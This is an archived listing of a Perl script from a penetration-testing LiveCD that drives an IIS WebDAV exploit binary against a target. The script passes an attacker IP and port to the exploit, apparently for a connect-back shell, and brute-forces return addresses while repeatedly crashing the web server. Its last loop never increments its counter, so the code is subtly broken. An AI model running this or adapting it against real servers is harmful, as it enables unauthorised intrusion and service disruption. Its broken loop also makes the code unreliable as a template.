home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / webdav-brute.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  41 lines

  1. #!/usr/bin/perl
  2. #
  3. # Written by Alon Swartz
  4. # Version 0.1
  5. # Uses updated coros wb.exe and bruteforces return address using pre-defined values.
  6. # If not successful, it does a straight forward bruteforce (1-255)
  7. # 09/06/2003
  8.  
  9. # Version 0.2 - Being used in the SecurityForest Exploitation Framework.
  10. # Quick Fix (path)
  11.  
  12. $exploitpath = "D:\\Data\\tools\\SF\\ExploitTree\\application\\webserver\\iis\\wb.exe";
  13.  
  14. @preret = ("194","195","193","191","196","192","197","198","199","208","209","205","206","12","215","200","201","202","203","204","207","208");
  15.  
  16. if ($#ARGV != 2) {die "Usage: webdav-brute.pl <target_ip> <attackers_ip> <attackers_port>\n\nCoded by Alon Swartz, v0.2\nUpdated coro's wb.exe and bruteforces return address using pre-defined values\nIf not successful, it does a straight forward bruteforce (1-255)\n";}
  17. $target_ip = @ARGV[0];
  18. $attackers_ip = @ARGV[1];
  19. $attackers_port = @ARGV[2]; 
  20.  
  21. print "Loading ret values: @preret\n\n";
  22.  
  23. foreach $preret (@preret) {
  24.     print "\n\n-----------------------------\n[ret: $preret -ASCII]";
  25.     system "$exploitpath $target_ip $attackers_ip $attackers_port $preret";
  26.     print "Waiting for webserver to restart...\n";
  27.     sleep 10;
  28. }
  29.  
  30. print "If we get here, the pre-defined rets were not successful, chances are slim we will succeed\n"; 
  31.  
  32. $i=1;
  33. while ($i < 256) {
  34.     print "[ret: $i]-ASCII\n";
  35.     system "$exploitpath $target_ip $attackers_ip $attackers_port $i";
  36.     print "Waiting for webserver to restart itself\n";
  37.     sleep 10;
  38. }
  39.      
  40.  
  41.